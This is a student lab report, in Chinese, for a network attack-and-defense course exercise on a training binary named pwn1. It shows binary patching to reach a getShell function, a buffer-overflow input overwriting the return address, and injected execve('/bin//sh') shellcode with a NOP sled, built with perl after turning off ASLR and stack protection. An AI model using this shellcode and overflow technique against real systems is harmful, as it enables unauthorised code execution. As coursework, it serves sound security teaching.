20192429马一 2021-2022-2 《网络与系攻防》实验一
一、实验目标
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
二、实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
注入运行任意代码
三、实验步骤及基本操作
3.1
3.1.1反汇编
- 输入objdump -d pwn20192429 | more对pwn20192429文件进行反汇编,并分页显示。
- 此时输入/getShell可以快速锁定到getShell函数、foo函数和main函数。
3.1.2 修改汇编指令
- main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址
- 所以call指令对应的机器指令应改为e8 c3 ff ff ff。
3.1.3 修改可执行文件
3.1.4 运行修改后的可执行文件
可以看出功能发生了变化
3.2 通过构造输入参数,造成BOF攻击,改变程序执行流
3.2.1 反汇编了解漏洞
- 输入objdump -d pwn20192429 | more对pwn20192429文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞
- 系统只预留了28字节(0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
3.2.2 确认字符串的哪几个字符会覆盖
程序发生段错误
3.2.3 确认用什么值来覆盖
- 之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为11111111222222223333333344444444\x7d\x84\x04\x08
3.2.4 构造字符串
3.2.5 实现攻击修改
3.3 注入Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
准备这样一段字符串
3.3.1 准备工作
apt-get install execstack安装execstack。 添加管理员权限 设置堆栈可执行 查询文件的堆栈是否可执行 关闭地址随机化
3.3.2 构造要注入的payload
- linux下由两种基本构造攻击buff的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。 - 使用输出重定向将perl生成的字符串存储到文件input_shellcode中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
最后一个字符不能是\x0a,因为下面要进行调试,不能输入回车。
3.3.3启动GDB调试程序
- 可以看到进程号为5359
输入attach 5359启动gdb调试这个进程
输入disassemble foo查看到ret的地址为0x080484ae
输入break *0x080484ae在0x080484ae处设置断点 - 查看栈顶指针
3.3.4 修改指令完成攻击
perl -e 'print "A" x 32;print "\x40\xf1\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xf1\xff\xbf\x00"' > input_shellcode
四、问题分析
4.1 Kali Linux E:Unable to locate package
- 具体问题解决办法可以参考此链接
4.2 输入ps -ef | grep pwn20192429时,缺少./pwn20192429进程
- 在这一步运行的时候,没用gdb调试之前千万别输入回车键!!!
4.3 ESP寄存器
- ESP专门用作堆栈指针,被形象地称为栈顶指针,存放当前线程的栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节
4.4 EIP寄存器
- EIP寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行